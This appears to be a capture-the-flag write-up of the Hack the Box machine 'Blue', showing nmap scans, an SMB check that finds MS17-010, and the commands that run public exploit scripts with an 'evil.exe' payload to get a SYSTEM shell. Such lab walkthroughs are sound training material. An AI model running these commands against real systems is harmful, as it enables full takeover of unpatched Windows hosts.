Home Hack the Box - Blue
Post
Cancel

Hack the Box - Blue

Blue

Blue Overview

Machine Details

IPHostnameOperating System
10.10.10.40BlueWindows

Path to Exploitation

We leverage the host’s vulnerability to MS17-010 to fully compromise the host.

Enumeration

Full Port Scan

1
nmap 10.10.10.40 -p- -oA Blue/nmap/full-port --open -Pn -vv

Results:

PORTSERVICE
135msrpc
139netbios-ssn
445microsoft-ds
49152unknown
49153unknown
49154unknown
49155unknown
49156unknown
49157unknown

Service Scan

1
nmap 10.10.10.40 -p 135,139,445,49152,49153,49154,49155,49156,49157 -sC -sV -oA Blue/nmap/service-scan -Pn

Results:

PORTSERVICEVERSION
135msrpcWindows RPC
139netbios-ssnWindows netbios-ssn
445microsoft-ds7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152msrpcWindows RPC
49153msrpcWindows RPC
49154msrpcWindows RPC
49155msrpcWindows RPC
49156msrpcWindows RPC
49157msrpcWindows RPC

SMB

SMB Nmap Scan

1
$ nmap -p 139,445 --script=smb-vuln* 10.10.10.40 -Pn -oA nmap/smb-scan
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).

We see the host is vulnerable to MS17-010

Exploitation and Privilege Escalation

We can use the send_and_execute.py script to attack the machine.

Use the checker.py script to identify the named pipes available

1
$ python checker.py 10.10.10.40

SMB Checker

We can try supplying the guest username to the script and seeing if we get different results. With Guest User

1
$ python checker.py 10.10.10.40

Found Pipes

We can now try executing the send_and_execute.py script using the guest user.

Modify the Exploit

1
$ python send_and_execute.py 10.10.10.40 evil.exe 445

Launch Exploit

We now have a shell on the machine as the SYSTEM account Shell on Host

This post is licensed under CC BY 4.0 by the author.